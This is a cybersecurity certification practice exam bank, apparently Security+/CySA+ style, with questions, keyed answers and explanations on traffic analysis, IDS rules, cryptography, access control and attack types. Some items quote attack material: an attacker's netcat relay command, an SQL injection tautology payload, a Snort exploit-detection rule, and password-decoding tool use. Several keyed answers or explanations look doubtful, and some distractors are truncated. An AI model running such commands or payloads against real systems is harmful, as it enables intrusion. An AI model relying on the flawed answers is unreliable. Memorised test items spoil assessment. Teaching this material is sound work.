You are an analyst and have been asked to review and categorize the following output from a packet analysis in Wireshark: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Source Destination Protocol Length Info 192.168.3.145 4.4.2.2 DNS 74 Standard query 0xaed A test.diontraining.com 4.4.2.2 192.168.3.145 DNS 90 Standard query response 0x3aed A test.diontraining.com A 173.12.15.23 192.168.3.145 173.12.15.23 TCP 78 48134 -80 [SYN] seq=0 Win=65635 Len=0 MSS=1426 WS=16 TSVal=486234134 Tsecr=0 SACK_PERM=1 173.12.15.23 192.168.3.145 TCP 78 80-48134 [SYN,ACK] seq=0 Ack=1 Win=65535 Len=0 MSS=1426 WS=4 TSVal=0 Tsecr=0 SACK_PERM=1 a1=486234134 Tsecr=240612 192.168.3.145 192.168.3.255 NBNS 92 Namequery NB WORKGROUP 34.250.23.14 192.168.3.145 TCP 60 443 - 48134 [RST] Seq=1 Win=0 Len=0 34.250.23.14 192.168.3.145 TCP 60 8080 - 48134 [RST] Seq=1 Win=0 Len=0 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Based on your review, what does this scan indicate?
- 12.15.23 might be infected and beaconing to a C2 server
- 168.3.145 might be infected with malware
- 12.15.23 might be infected with malware
This appears to be normal network traffic
192.168.3.145 might be infected and beaconing to a C2 server
This appears to be normal network traffic
OBJ-2.2: This appears to be normal network traffic. The first line shows that a DNS lookup was performed for a website (test.diontraining.com). The second line shows the response from the DNS server with the IP address of the website. The third line begins a three-way handshake between an internal host and the website. The fourth line is the SYN-ACK response from the website to the internal host as part of this handshake. The fifth line is a standard Windows NetBIOS query that occurs within the local area network to translate human-readable names to local IP addresses. The sixth and seventh lines appear to be inbound requests to port 443 and port 8080, both of which were sent the RST by the firewall of the internal host since it is not running those services on the host. None of this network traffic appears to be suspicious.
An analyst is reviewing the logs from the network and notices that there have been multiple attempts from the open wireless network to access the networked HVAC control system. The open wireless network must remain openly available so that visitors are able to access the internet. How can this type of attack be prevented from occurring in the future?
Enable WPA2 security on the open wireless network
Implement a VLAN to separate the HVAC control system from the open wireless network
Enable NAC on the open wireless network
Install an IDS to protect the HVAC system
Implement a VLAN to separate the HVAC control system from the open wireless network
OBJ-3.2: A VLAN is useful to segment out network traffic to various parts of the network, and can stop someone from the open wireless network from being able to attempt to login to the HVAC controls. By utilizing NAC, each machine connected to the open wireless network could be checked for compliance and determine if it is a ‘known’ machine, but they would still be given access to the entire network. Also, since this is a publicly usable network, using NAC would prevent users from accessing all the network features, possibly. An IDS would be a good solution to detect the attempted logins, but it won’t be able to prevent them. Instead, an IPS would be required to prevent logins.
Your company wants to provide a secure SSO solution for accessing both the corporate wireless network and its network resources. Which of the following technologies should be used?
WPA2
RADIUS
WEP
WPS
RADIUS
OBJ-6.3: With RADIUS and SSO configured, users on the network can provide their user credentials one time (when they initially connect to the wireless access point or another RADIUS client), and they are automatically authenticated to all of the network’s resources.
Network Sniffer Cable Lock
Cellular Data Host-based firewall
Location Tracking CAT 5e STP
MDM Remote wipe
Using the image provided, select four security features that you should use with a workstation or laptop within your organization?
Remote wipe, Location tracking, Host-based firewall, Cable lock
CAT5e STP, Location tracking, Host-based firewall, Remote wipe
Cable lock, Network sniffer, Host-based firewall, Remote wipe
Host-based firewall, Network sniffer, Cable lock, CAT5e STP
Host-based firewall, Network sniffer, Cable lock, CAT5e STP
OBJ 3.9: Host-based firewall, Network sniffer, a Cable lock, and CAT5e STP cables are all appropriate security features to use with a corporate workstation or laptop. By using a host-based firewall (such as Windows Firewall), you can configure the workstation or laptop to block incoming or outgoing data from the network connection of the device. If you install a network sniffer, you will be able to capture any network traffic that is being used on the network for later analysis. If you use a cable lock, it will lock the workstation or laptop to a desk and prevent theft of the device. If you use a CAT 5e STP cable for your network connection, you will minimize the risk of EMI and reduce data emanations.
You are reviewing a rule within your organization’s IDS. You see the following output: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- alert tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any msg: “BROWSER-IE Microsoft Internet Explorer CacheSize exploit attempt”; flow: to_client,established; file_data; content:”recordset”; offset:14; depth:9; content:”.CacheSize”; distance:0; within:100; pcre:”/CacheSize\s=\s/”; byte_test:10,>,0x3ffffffe,0,relative,string; max-detect-ips drop, service http; reference:cve,2016-8077; classtype: attempted-user; sid:65535;rev:1; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Based on this rule, which of the following malicious packets would this IDS alert on?
Any malicious outbound packets
Any malicious inbound TCP packet
Any malicious inbound packets
Any malicious outbound TCP packet
Any malicious inbound TCP packet
OBJ-2.4: The rule header is set to alert only on TCP packets based on the first line of this IDS rule. The flow condition is set as “to_client, established”, which means that only inbound traffic will be analyzed against this rule and only inbound traffic for connections that are already established. Therefore, this rule will alert on an inbound malicious TCP packet only when the packet matches all the conditions listed in this rule. This rule is an example of a Snort IDS rule. For the exam, you do not need to be able to create your own IDS rules, but you should be able to read them and pick out generic content like the type of protocol covered by the signature, the port be analyzed, and the direction of flow.
Which of the following cryptographic algorithms is classified as symmetric?
DSA
ECC
GPG
DES
DES
OBJ-6.2: The Data Encryption Standard (DES) is a symmetric-key algorithm for the encryption of digital data. Although its short key length of 56 bits makes it too insecure for applications, it was the standard used from 1977 until the early 2000s. GPG, ECC, and DSA are all asymmetric algorithms.
You have just finished running an nmap scan on a server are see the following output: -=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=- # nmap diontraining.com Starting Nmap ( http://nmap.org ) Nmap scan report for diontraining.com (64.13.134.52) Not shown: 996 filtered ports PORT STATE 22/tcp open 23/tcp open 53/tcp open 443/tcp open Nmap done: 1 IP address (1 host up) scanned in 2.56 seconds -=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=–=-=-=-=-=-=- Based on the output above, which of the following ports listed as open represents the most significant security vulnerability to your network?
22
23
53
443
23
OBJ-2.2: Port 23 is used by telnet and is not considered secure because it sends all of its data in cleartext, including authentication data like usernames and passwords. As an analyst, you should recommend that telnet is disabled and blocked from use. The other ports that are open are for SSH (port 22), DNS (port 53), and HTTPS (port 443).
Which of the following categories would contain information about a French citizen’s race or ethnic origin?
DLP
SPI
PII
PHI
SPI
OBJ-5.8: According to the GDPR, information about an individual’s race or ethnic origin is classified as Sensitive Personal Information (SPI). Sensitive personal information (SPI) is information about a subject’s opinions, beliefs, and nature that is afforded specially protected status by privacy legislation. As it cannot be used to uniquely identify somebody, or make any relevant assertions about health, it is neither PII nor PHI. Data loss prevention (DLP) is a software solution that detects and prevents sensitive information from being stored on unauthorized systems or transmitted over unauthorized networks.
Ryan needs to verify the installation of a critical Windows patch on his organization’s workstations. Which method would be the most efficient to validate the current patch status for all of the organization’s Windows 10 workstations?
Use SCCM to validate patch status for each machine on the domain
Conduct a registry scan of each workstation to validate the patch was installed
Check the Update History manually
Create and run a PowerShell script to search for the specific patch in question
Use SCCM to validate patch status for each machine on the domain
OBJ-2.4: The Microsoft System Center Configuration Manager (SCCM) provides remote control, patch management, software distribution, operating system deployment, network access protection, and hardware and software inventory. In an Azure environment, you can also use the Update Compliance tool to monitor your device’s Windows updates, Windows Defender anti-virus status, and the up to date patching status across all of your Windows 10 workstations. In previous versions of Windows, you could use the Microsoft Baseline Analyzer (MSBA), but that is no longer supported when Windows 10 was introduced. A PowerShell script may be a reasonable option, but it would take a knowledgeable analyst to create the script and scan the network, whereas using SCCM is easier and quicker. Manually checking the Update History or registry of each system could also work, but that is very time consuming and inefficient, especially if Ryan is supporting a large network.
Which of the following access control methods provides the most detailed and explicit type of access control over a resource?
MAC
RBAC
DAC
ABAC
ABAC
OBJ-4.3: Attribute-based access control (ABAC) provides the most detailed and explicit type of access control over a resource because it is capable of making access decisions based on a combination of subject and object attributes, as well as context-sensitive or system-wide attributes. Information such as the group membership, the OS being used by the user, and even the IP address of the machine could be considered when granting or denying access.
You need to determine the best way to test operating system patches in a lab environment prior to deploying them to your automated patch management system. Unfortunately, your network has several different operating systems in use, but you only have one machine available to test the patches on. What is the best environment to utilize to perform the testing of the patches prior to deployment?
Bypass testing and deploy patches directly into the production environment
Purchase additional workstations
Sandboxing
Virtualization
Virtualization
OBJ-3.3: When you have a limited amount of hardware resources to utilized but have a required to test multiple operating systems, you should set up a virtualized environment to test the patch across each operating system prior to deployment. You should never deploy patches directly into production without testing them first in the lab.
Which technique would provide the largest increase in security on a network with ICS, SCADA, or IoT devices?
Implement endpoint protection platforms
User and entity behavior analytics
Installation of anti-virus tools
Use of a host-based IDS or IPS
User and entity behavior analytics
OBJ-3.5: Since ICS, SCADA, and IoT devices often run proprietary, inaccessible, or unpatchable operating systems, the traditional tools used to detect the presence of malicious cyber activity in normal enterprise networks will not function properly. Therefore, the use of user and entity behavior analytics (UEBA) is best suited to detect and classify known-good behavior from these systems to create a baseline. Once a known-good baseline is established, deviations can be detected and analyzed. UEBA may be heavily dependent on advanced computing techniques like artificial intelligence and machine learning, and may have a higher false positive rate. As the name suggests, the analytics software tracks user account behavior across different devices and cloud services. Entity refers to machine accounts, such as client workstations or virtualized server instances, and to embedded hardware, such as Internet of Things (IoT) devices. Traditional technologies include anti-virus tools, host-based IDS and IPS, and endpoint protection platforms.
Which of the following access control models is the most flexible and allows the owner of the resource to control the access permissions?
RBAC
ABAC
DAC
MAC
DAC
OBJ-4.3: Discretionary access control (DAC) stresses the importance of the owne. The original creator of the resource is considered the owner and can then assigned permissions and ownership to others. The owner has full control over the resource and the ability to modify its ACL to grant rights to others. This is the most flexible model and is currently implemented widely in Windows, Unix, Linux, and macOS systems.
An attacker has issued the following command: nc -l -p 8080 | nc 192.168.1.76 443. Based on this command, what will occur?
Netcat will listen for a connection from 192.168.1.76 on port 443 and output anything received to port 8080
Netcat will listen on the 192.168.1.76 interface for 443 seconds on port 8080
Netcat will listen on port 8080 and output anything received to a remote connection on 192.168.1.76 port 443
Netcat will listen on port 8080 and then output anything received to local interface 192.168.1.76
Netcat will listen on port 8080 and output anything received to a remote connection on 192.168.1.76 port 443
OBJ-2.2: The proper syntax for netcat (nc) is -l to signify listening and -p to specify the listening port. Then, the | character allows multiple commands to be run during a single command execution. Next, netcat is being told to send the data to the given IP (192.168.1.76) over port 443. This is a common technique to try to bypass the firewall by sending traffic over port 443 (a secure SSL/TLS tunnel).
A cybersecurity analyst is reviewing the logs of a proxy server and saw the following URLs: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- https://test.diontraining.com/profile.php?userid=1546 https://test.diontraining.com/profile.php?userid=5482 https://test.diontraining.com/profile.php?userid=3618 -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What type of vulnerability does this website have?
Improper error handling
Weak or default configurations
Insecure direct object reference
Race condition
Insecure direct object reference
OBJ-1.2: Insecure direct object references (IDOR) are a cybersecurity issue that occurs when a web application developer uses an identifier for direct access to an internal implementation object but provides no additional access control and/or authorization checks. In this scenario, an attacker could simply change the userid number and directly access any user’s profile page. A race condition is a software vulnerability when the resulting outcome from execution processes is directly dependent on the order and timing of certain events, and those events fail to execute in the order and timing intended by the developer. Weak or default configurations are commonly a result of incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, unnecessary HTTP methods, permissive Cross-Origin resource sharing (CORS), and verbose error messages containing sensitive information. Improper handling of errors can reveal implementation details that should never be revealed, such as detailed information that can provide hackers important clues on potential flaws in the system.
Which of the following functions is not provided by a TPM?
Binding Remote attestation User authentication Sealing Secure generation of cryptographic keys Random number generation
User authentication
OBJ-3.3: User authentication is performed at a much higher level in the operating system. Trusted Platform Module (TPM) technology is designed to provide hardware-based, security-related functions. A TPM chip is a secure crypto-processor that is designed to carry out cryptographic operations. The chip includes multiple physical security mechanisms to make it tamper-resistant, and malicious software is unable to tamper with the security functions of the TPM. The TPM provides random number generation, secure generation of cryptographic keys, remote attestation, binding, and sealing functions securely.
Which security control would prevent unauthorized users from connecting to a company’s wireless network?
Firewall
Segmentation
NAC
IPS
NAC
OBJ-2.1: Network Access Control (NAC) prevents unauthorized users from connecting to a network. Firewalls and intrusion prevention systems (IPS) are meant to restrict access from external sources and block known attacks. They would not keep out an intruder who is already in range of the wireless network. Network segmentation would limit the access that an intruder has to network resources but would not block the connection itself.
Which of the following cryptographic algorithms is classified as symmetric?
ECC
Diffie-Hellman
RSA
RC4
RC4
OBJ-6.2: RC4, or Rivest Cipher 4, is a symmetric stream cipher that was used in WEP and TLS. ECC, RSA, and Diffie-Hellman are all asymmetric algorithms.
You are troubleshooting an issue with a Windows desktop and need to display the active TCP connections on the machine. Which of the following commands should you use?
netstat
ping
ipconfig
net use
netstat
OBJ-2.2: The netstat command is used to display active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics (for the IP, ICMP, TCP, and UDP protocols), and IPv6 statistics (for the IPv6, ICMPv6, TCP over IPv6, and UDP over IPv6 protocols) on a Windows machine. This is a useful command when trying to determine if any malware has been installed on the system and maybe maintaining a remote connection with a command and control server.
Which of the following cryptographic algorithms is classified as symmetric?
RSA
AES
Diffie-Hellman
ECC
AES
OBJ-6.2: The Advanced Encryption Standard (AES) is a symmetric block cipher with a fixed block size of 128 bits. It can utilize a 128-bit, 192-bit, or 256-bit symmetric key. RSA, Diffie-Hellman, and ECC are all asymmetric algorithms.
Sarah is working at a startup that is focused on making secure banking apps for smartphones. Her company needs to select an asymmetric encryption algorithm to encrypt the data being used by the app. Due to the need for high security of the banking data, the company needs to ensure that whatever encryption they use is considered strong, but also need to minimize the processing power required since it will be running on a mobile device
ECC
RSA
Diffie-Hellman
Twofish
ECC
OBJ-6.2: Elliptic curve cryptography (ECC) is an approach to public-key cryptography based on the algebraic structure of elliptic curves over finite fields. One of the main benefits of ECC over non-ECC cryptography is an application that can achieve the same level of security provided by non-ECC cryptography while using a shorter key length. For example, an ECC algorithm using a 256-bit key length is just as strong as a RSA or Diffie-Hellman algorithm using a 3072-bit key length.
Which of the following hashing algorithms results in a 160-bit fixed output?
SHA-2
NTLM
SHA-1
MD-5
SHA-1
OBJ-6.2: SHA-1 creates a 160-bit fixed output. SHA-2 creates a 256-bit fixed output. NTLM creates a 128-bit fixed output. MD-5 creates a 128-bit fixed output.
What sanitization technique uses only logical techniques to remove data, such as overwriting a hard drive with a random series of ones and zeroes?
Degauss
Clear
Destroy
Purge
Clear
OBJ-5.8: Clear applies logical techniques to sanitize data in all user-addressable storage locations for protection against simple non-invasive data recovery techniques. Clearing involves overwriting data once (and seldom more than three times) with repetitive data (such as all zeros) or resetting a device to factory settings. Purging data is meant to eliminate information from being feasibly recovered even in a laboratory environment. Destroy requires physical destruction of the media, such as pulverization, melting, incineration, and disintegration. Degaussing is the process of decreasing or eliminating a remnant magnetic field. Degaussing is an effective method of sanitization for magnetic media, such as hard drives and floppy disks.
An attacker is searching in Google for Cisco VPN configuration files by using the filetype:pcf modifier. The attacker was able to locate several of these configuration files and now wants to decode any connectivity passwords that they might contain. What tool should the attacker use?
Netcat
Nessus
Cain and Abel
Nmap
Cain and Abel
OBJ-2.2: Cain and Abel is a popular password cracking tool. It can recover many kinds of passwords using methods such as network packet sniffing, cracking various password hashes by using methods such as dictionary attacks, brute force, and cryptanalysis attacks. It also includes a module to conduct Cisco VPN Client Password Decoding, too. CUPP is used to create password lists. Nessus is a vulnerability scanner. The netcat tool is used to create reverse shells for remote access.
Which operating system feature is designed to detect malware that is loaded early in the system startup process or before the operating system can load itself?
Startup Control
Advanced anti-malware
Measured boot
Master Boot Record analytics
Measured boot
OBJ-3.3: Measured boot is a feature where a log of all boot actions is taken and stored in a trusted platform module for later retrieval and analysis by anti-malware software on a remote server. Master boot record analysis is used to capture the required information of the hard disk to support a forensic investigation and would not detect malware during the system’s boot-up process. Startup control would be used to determine which programs will be loaded when the operating system is initially booted, but this would be too late to detect malware loaded during the pre-startup and boot process. Advanced anti-malware solutions are programs that are loaded within the operating system. Therefore, they are loaded too late in the startup process to be effective against malicious boot sector viruses and other BIOS/UEFI malware variants.
A supplier needs to connect several laptops to an organization’s network as part of their service agreement. These laptops will be operated and maintained by the supplier. Victor, a cybersecurity analyst for the organization, is concerned that these laptops could potentially contain some vulnerabilities that could weaken the security posture of the network. What can Victor do to mitigate the risk to other devices on the network without having direct administrative access to the supplier’s laptops?
Implement a jumpbox system
Scan the laptops for vulnerabilities and patch them
Increase the encryption level of VPN used by the laptops
Require 2FA (two-factor authentication) on the laptops
Implement a jumpbox system
OBJ-3.2: A jumpbox is a system on a network used to access and manage devices in a separate security zone. This would create network segmentation between the supplier’s laptops and the rest of the network to minimize the risk. A jump-box system is a hardened and monitored device that spans two dissimilar security zones and provides a controlled means of access between them. While the other options listed are all good security practices, they do not fully mitigate the risk that insecure systems pose since Victor cannot enforce these configurations on a supplier provided laptop. Instead, he must find a method of segmenting the laptops from the rest of the network, either physically, logically, using an airgap, or using a jumpbox.
Which of the following types of access control provides the strongest level of protection?
ABAC
RBAC
DAC
MAC
MAC
OBJ-4.3: Mandatory Access Control (MAC) requires all access to be predefined based on system classification, configuration, and authentication. MAC is commonly used in highly centralized environments and usually relies on a series of labels, such as classification levels of the data.
You are reviewing the IDS logs and notice the following log entry: -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- (where email=support@diontraining.com and password=‘ or 7==7’) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- What type of attack is being performed?
XML injection
Cross-site scripting
SQL injection
Header manipulation
SQL injection
OBJ-1.2: SQL injection is a code injection technique that is used to attack data-driven applications. SQL injections are conducted by inserting malicious SQL statements into an entry field for execution. For example, an attacker may try to dump the contents of the database by using this technique. A common technique in SQL injection is to insert a statement that is always true, such as 1 == 1, or in this example, 7 == 7. Header manipulation is the insertion of malicious data, which has not been validated, into a HTTP response header. XML Injection is an attack technique used to manipulate or compromise the logic of an XML application or service. The injection of unintended XML content and/or structures into an XML message can alter the intended logic of the application. Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end-user.
Which of the following cryptographic algorithms is classified as stream cipher?
RC4
Blowfish
DES
AES
RC4
OBJ-6.2: RC4, or Rivest Cipher 4, is a symmetric stream cipher that was used in WEP and TLS. AES, Blowfish, and DES are all block ciphers.
A financial services company wants to donate some old hard drives from their servers to a local charity, but they are concerned about the possibility of residual data being left on the drives. Which of the following secure disposal methods would you recommend the company use?
Cryptographic erase
Overwrite
Secure erase
Zero-fill
Cryptographic erase
OBJ-3.3: In a cryptographic erase (CE), the storage media is encrypted by default. The encryption key itself is destroyed during the erasing operation. CE is a feature of self-encrypting drives (SED) and is often used with solid-state devices. Cryptographic erase can be used with hard drives, as well. Zero-fill is a process that fills the entire storage device with zeroes. For SSDs and hybrid drives, zero-fill-based methods might not be reliable because the device uses wear-leveling routines in the drive controller to communicate which locations are available for use to any software process accessing the device. A secure erase is a special utility provided with some solid-state drives that can perform the sanitization of flash-based devices. Overwrite is like zero-fill but can utilize a random pattern of ones and zeroes on the storage device. The most secure option would be a cryptographic erase (CE) for the scenario provided in the question.
You have been hired to perform a web application security test. During the test, you notice that the site is dynamic and, therefore, must be using a backend database. You decide you want to test to determine if the site is susceptible to a SQL injection. What is the first character that you should attempt to use in breaking a valid SQL request?
Semicolon
Double quote
Single quote
Exclamation mark
Single quote
OBJ-1.2: The single quote character (‘) is used because this is the character limiter in SQL. With a single quote,’ you delimit strings, and therefore you can test whether the strings are properly escaped in the targeted application or not. If they are not escaped directly, you can end any string supplied to the application and add other SQL code after that, which is a common technique for SQL injections. A semicolon is a commonly used character at the end of a line of code or command in many programming languages. An exclamation mark is often used to comment a line of code in several languages. Double quotes are often used to contain a string being passed to a variable.
Which of the following identity and access management controls relies upon using a certificate-based authentication mechanism?
HOTP
TOTP
Proximity card
Smart card
Smart card
OBJ-4.3: Smart cards, PIV, and CAC devices are used as an identity and access management control. These devices contain a digital certificate embedded within the smart card (PIV/CAC) that is presented to the system when it is inserted into the smart card reader. When combined with a PIN, the smart card can be used as a multi-factor authentication mechanism. The PIN unlocks the card and allows the digital certificate to be presented to the system.
Attacker Internet Server
================================>
Multiple ICMP Echo Request Messages
Based on the image provided, what type of attack is occurring?
SYN flood
DDoS
Ping flood
Smurf attack
Ping flood
OBJ 1.2: A Ping flood occurs when an attacker attempts to flood the server by sending too many ICMP echo request packets (which are known as pings).
An organization is conducting a cybersecurity training exercise. Which team is Jason assigned if he has been asked to monitor and manage the technical environment that is being used by the defenders and attackers during the exercise?
Red team
Blue team
Purple team
White team
White team
OBJ-5.4: Jason is assigned to the white team. The white team acts as the judges, enforces the rules of the exercise, observes the exercise, scores teams, resolves any problems that may arise, handles all requests for information or questions, and ensures that the competition runs fairly and does not cause operational problems for the defender’s mission. A red team is a group of people authorized and organized to emulate a potential adversary’s attack or exploitation capabilities against an enterprise’s security posture. A blue team is a group of people responsible for defending an enterprise’s use of information systems by maintaining its security posture against a group of mock attackers. The purple team made up of members of both the blue and red teams in order to work together to maximize their cyber capabilities through continuous feedback and knowledge transfer between attackers and defenders.
What tool can be used to scan a network to perform vulnerability checks and compliance auditing?
Metasploit
BeEF
Nessus
Nmap
Nessus
OBJ-2.2: Nessus is a very popular vulnerability scanner. It can be used to check how vulnerable your network is by using various plugins to test for vulnerabilities. Also, Nessus can be used to perform compliance auditing, like internal and external PCI DSS audit scans. The nmap tool is a port scanner. The Metasploit Project is a computer security project that provides information about security vulnerabilities and aids in penetration testing and IDS signature development. BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.
Network sniffer Cable lock
Cellular Data Host-based firewall
Location tracking CAT 5e STP
MDM Remote wipe
Select four security features that you should use with a smartphone provided through a COPE policy in your organization?
Remote wipe, Location tracking, Host-based firewall, Cable lock
Cable lock, Network sniffer, Cellular data, Remote wipe
MDM, Location tracking, Host-based firewall, Remote wipe
Cellular data, Remote wipe, Location tracking, MDM
Cellular data, Remote wipe, Location tracking, MDM
OBJ 2.5: Cellular data, Remote wipe, Location tracking, and MDM are all appropriate security features to use with a company-provided laptop. By using cellular data, your users will be able to avoid connecting to WiFi networks for connectivity. Remote wipe enables the organization to remotely erase the contents of the device if it is lost or stolen. Location tracking uses the smart phone’s GPS coordinates for certain apps, location-based authentication, and to track down a device if it is lost or stolen. A mobile device management (MDM) program enables the administrators to remotely push software updates, security policies, and other security features to the device from a centralized server.
You are troubleshooting a network connectivity issue and need to determine the packet’s flow path from your system to the remote server. Which of the following tools would best help you identify the path between the two systems?
nbtstat
tracert
ipconfig
netstat
tracert
OBJ-2.2: The TRACERT (spoken out loud as trace route) diagnostic utility determines the route to a destination by sending Internet Control Message Protocol (ICMP) echo packets to the destination. In these packets, TRACERT uses varying IP Time-To-Live (TTL) values. When the TTL on a packet reaches zero (0), the router sends an ICMP “Time Exceeded” message back to the source computer. The ICMP “Time Exceeded” messages that intermediate routers send back show the route. The ipconfig tool displays all current TCP/IP network configuration values on a given system. The netstat tool is a command-line network utility that displays network connections for Transmission Control Protocol, routing tables, and a number of network interface and network protocol statistics on a single system. The nbtstat command is a diagnostic tool for NetBIOS over TCP/IP used to troubleshoot NetBIOS name resolution problems.
Which party in a federation provides services to members of the federation?
RP
SAML
SSO
IdP
RP
OBJ-4.2: Relying parties (RPs) provide services to members of a federation. An identity provider (IdP) provides identities, makes assertions about those identities, and releases information about the identity holders. The Security Assertion Markup Language (SAML) is an open standard for exchanging authentication and authorization data between parties between an identity provider and a service provider (SP) or relaying party (RP). Single sign-on (SSO) is an authentication scheme that allows a user to log in with a single ID and password to any of several related yet independent software systems across a federation. SAML and SSO are not parties. Therefore, they cannot possibly be the right answer to this question.
A cybersecurity analyst is applying for a new job with a penetration testing firm. He received the job application as a secured Adobe PDF file, but unfortunately, the firm locked the file with a password so the potential employee cannot fill in the application. Instead of asking for an unlocked copy of the document, the analyst decides to write a script in Python to attempt to unlock the PDF file by using passwords from a list of commonly used passwords until he can find the correct password or attempts every password in his list. Based on this description, what kind of cryptographic attack did the analyst perform?
Brute-force attack
Man-in-the-middle attack
Dictionary attack
Session hijacking
Dictionary attack
OBJ-1.2: A dictionary attack is a technique for defeating a cipher or authentication mechanism by trying to determine its decryption key or passphrase by trying hundreds or sometimes millions of likely possibilities, such as words in a dictionary. The key to answering this question is that they were using passwords from a list. In cryptography, a brute-force attack consists of an attacker submitting many passwords or passphrases with the hope of eventually guessing correctly. A dictionary attack is a specific form of a brute-force attack that uses a list. A session hijacking attack compromises the session token by stealing or predicting a valid session token to gain unauthorized access to the webserver. A man-in-the-middle attack (MITM), also known as a hijack attack, is an attack where the attacker secretly relays and possibly alters the communications between two parties who believe that they are directly communicating with each other.
You are conducting an incident response and have traced the source of the attack to some compromised user credentials. After performing log analysis, you discover that the attack was successfully authenticated from an unauthorized foreign country. Your management is now asking for you to implement a solution to help mitigate this type of attack from occurring again. Which of the following should you implement?
Context-based authentication
Single sign-on
Self-service password reset
Password complexity
Context-based authentication
OBJ-4.1: Context-based authentication can take a number of factors into consideration before permitting access to a user, including their location (e.g., country, GPS location, etc.), the time of day, and other key factors to minimize the threat of compromised credentials from being utilized by an attacker. A self-service password reset is defined as any process or technology that allows users who have either forgotten their password or triggered an intruder lockout to authenticate with an alternate factor and repair their own problem without calling the help desk. While helpful, this alone would not help prevent an attacker from using the compromised credentials. Single sign-on (SSO) is an authentication scheme that allows a user to log in with a single ID and password to any of several related yet independent software systems. Again, this is helpful since it will minimize the number of usernames and passwords that a user must remember, but if their credentials are stolen, then the attacker can now access every system the user had access too, extending the problem. Password complexity is also a good thing to use, but it won’t address the challenge presented in the question of how to prevent the use of compromised credentials. If the password complexity is increased, this will prevent a brute force credential compromise, but if the credentials are compromised any other way, then the attacker could still log in to our systems and cause trouble for us.
You are working as part of a penetration testing team during an assessment of Dion Training’s headquarters. Your boss has requested that you search the recycle bins of the company for any information that might be valuable during the reconnaissance phase of your attack. What type of social engineering method are you performing?
Whaling
Dumpster diving
Phishing
Impersonation
Dumpster diving
OBJ-1.2: Dumpster diving involves searching through publically accessible garbage cans or recycling bins to find discarded paper, manuals, or other valuable types of information from a targeted company. This is often done as part of the reconnaissance phase before an attack is performed.
Every new employee at Dion Training must sign a document to show they understand the proper rules for using the company’s computers. This document states that the new employee has read the policy that dictates what can and cannot be done from the corporate workstations. Which of the following documents BEST describes this policy?
AUP
SOW
MOU
SLA
AUP
OBJ-5.1: An acceptable use policy (AUP) is a document stipulating constraints and practices that a user must agree to for access to a corporate network or the internet. For example, it may state that they must not attempt to break the security of any computer network or user, or that they cannot visit pornographic websites from their work computer.
Dion Training’s offices utilize an open concept floor plan. They are concerned that a visitor might attempt to steal an external hard drive and carry it out of the building. To mitigate this risk, the security department has recommended installing security cameras that are clearly visible to both employees and visitors. What type of security control do these cameras represent?
Administrative
Deterrent
Compensating
Corrective
Deterrent
OBJ-3.9: A deterrent control is designed to discourage the violation of a security policy. Since the cameras are clearly visible, they are acting as a deterrent control. A corrective control is one that is used to fix or eliminate a vulnerability. A compensating control is used to minimize a vulnerability when it is deemed too difficult or impractical to fully correct the vulnerability. An administrative control is used to create a policy or procedure to minimize or eliminate a vulnerability.
You just received a notification that your company’s email servers have been blacklisted due to reports of spam originating from your domain. What information do you need to start investigating the source of the spam emails?
The SMTP audit log from his company’s email server
The full email header from one of the spam messages
Firewall logs showing the SMTP connections
Network flows for the DMZ containing the email servers
The full email header from one of the spam messages
OBJ-1.2: You should first request a copy of one of the spam messages that include the full email header. By reading through the full headers of one of the messages, you can determine where the email originated from, whether it was from your email system or if it was external, and if it was a spoofed email or a legitimate email. Once this information has been analyzed, you can then continue your analysis further based on those findings, whether that be analyzing your email server, the firewalls, or other areas of concern. If enough information cannot be found by analyzing the email headers, then you will need to conduct more research to determine the best method to solve the underlying problem.
Which of the following tools is useful for capturing Windows memory data for forensic analysis?
Nessus
dd
Memdump
Wireshark
Memdump
OBJ-2.2: Memdump is a memory capture tool for forensic use. The dd tool is used to conduct forensic disk images. Wireshark is used for packet capture and analysis. Nessus is a commonly used vulnerability scanner.
Which law requires that government agencies and other organizations that operate systems on behalf of government agencies to comply with security standards?
SOX
COPPA
FISMA
HIPPA
FISMA
OBJ-5.8: The Federal Information Security Management Act (FISMA) is a United States federal law that defines a comprehensive framework to protect government information, operations, and assets against natural or man-made threats. FISMA requires that government agencies and other organizations that operate systems on behalf of government agencies comply with security standards. The Health Insurance Portability and Accountability Act (HIPPA) is a United States federal law designed to provide privacy standards to protect patients’ medical records and other health information provided to health plans, doctors, hospitals, and other health care providers. The Children’s Online Privacy Protection Act (COPPA) is a United States federal law that imposes certain requirements on operators of websites or online services directed to children under 13 years of age, and on operators of other websites or online services that have actual knowledge that they are collecting personal information online from a child under 13 years of age. Sarbanes–Oxley (SOX) is a United States federal law that set new or expanded requirements for all U.S. public company boards, management, and public accounting firms.
Which attack method is MOST likely to be used by a malicious employee or insider who is trying to obtain another user’s passwords?
Tailgating
Man-in-the-middle
Shoulder surfing
Phishing
Shoulder surfing
OBJ-1.2: While all of the methods listed could be used by a malicious employee or insider to obtain another user’s passwords, shoulder surfing is the MOST likely to be used. Shoulder surfing is a type of social engineering technique used to obtain information such as personal identification numbers (PINs), passwords, and other confidential data by looking over the victim’s shoulder. Since a malicious employee or insider can work in close proximity to their victims (other users), they could easily use this technique to collect the passwords of the victimized users.
Which of the following technologies is NOT a shared authentication protocol?
OAuth
Facebook Connect
LDAP
OpenID Connect
LDAP
